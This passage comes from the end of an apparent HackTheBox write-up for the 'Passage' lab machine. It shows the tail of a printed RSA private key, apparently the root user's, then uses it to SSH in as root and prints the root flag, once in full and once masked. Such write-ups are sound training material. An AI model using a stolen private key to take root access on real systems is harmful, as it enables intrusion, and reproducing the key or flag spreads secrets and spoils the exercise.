+WNBT+30n0XJzi/JPhpoWhXM4OqYLCysX+/b0psF0jYLWy0MjqCjCl/muQtD6f2e
jc2JY1KMMIppoq5DwB/jJxq1+eooLMWVAo9MDNDmxDiw+uWRUe8nj9qFK2LRKfG6
U6wnyQ10ANXIdRIY0bzzhQYTMyH7o5/sjddrRGMDZFmOq6wHYN5sUU+sZDYD18Yg
ezdTw/BBiDMEPzZuCUlW57U+eX3uY+/Iffl+AwIDAQABAoIBACFJkF4vIMsk3AcP
0zTqHJ1nLyHSQjs0ujXUdXrzBmWb9u0d4djZMAtFNc7B1C4ufyZUgRTJFETZKaOY
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P1St2AVP1qmMvVimDFSJoiOEUfzidepXEEUQrByNmOJDtewMSm4aGz60ced2XCBr
GTt/wyo0y5ygRJkUcC+/o4/r2DQdrjCbeuyzAzzhFKQQx6HN5svzpi0jOWC0cB0W
GmAp5Q7fIFhuGyrxShs/BEuQP7q7Uti68iwEh2EZSlaMcBFEJvirWtIO7U3yIHYI
HnNlLvECgYEA7tpebu84sTuCarHwASAhstiCR5LMquX/tZtHi52qKKmYzG6wCCMg
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aHz7vG5L8E7tYpJ64Tt8e0DcnQQtW8EqFIydipO0eLdxkIGykjWuYGsCgYEAwzBM
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YXbIs1sS6ehDcib8aCVdOqRIqhCqCd1xVnbE0T4F2s1yZkct09Bki6EuXPDo2vhy
/6v6oP+yT5z854Vfq0FWxmDUssMbjXkVLKIZ3skCgYAYvxsllzdidW3vq/vXwgJ7
yx7EV5tI4Yd6w1nIR0+H4vpnw9gNH8aK2G01ZcbGyNfMErCsTNUVkIHMwUSv2fWY
q2gWymeQ8Hxd4/fDMDXLS14Rr42o1bW/T6OtRCgt/59spQyCJW2iP3gb9IDWjs7T
TjZMUz1RfIARnr5nk5Q7fQKBgGESVxJGvT8EGoGuXODZAZ/zUQj7QP4B2G5hF2xy
T64GJKYeoA+z6gNrHs3EsX4idCtPEoMIQR45z/k2Qry1uNfOpUPxyhWR/g6z65bV
sGJjlyPPAvLsuVTbEfYDLfyY7yVfZEnU7Os+3x4K9BfsU7zm3NIB/CX/NGeybR5q
a7VJAoGANui4oMa/9x8FSoe6EPsqbUcbJCmSGPqS8i/WZpaSzn6nW+636uCgB+EP
WOtSvOSRRbx69j+w0s097249fX6eYyIJy+L1LevF092ExQdoc19JTTKJZiWwlk3j
MkLnfTuKj2nvqQQ2fq+tIYEhY6dcSRLDQkYMCg817zynfP0I69c=
-----END RSA PRIVATE KEY-----
And we managed to get the root user's private ssh key! Now let's login as root via ssh to get the root flag:
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
→ chmod 600 rootkey
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
→ ssh -i rootkey root@10.10.10.206
Last login: Mon Aug 31 15:14:22 2020 from 127.0.0.1
root@passage:~# cat root.txt
4bf9ee15ce09ee77580ac8d850f19cbb
root@passage:~# id
uid=0(root) gid=0(root) groups=0(root)
root@passage:~# cat root.txt
4bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And we managed to get the root flag.
Here we can see the progress graph :
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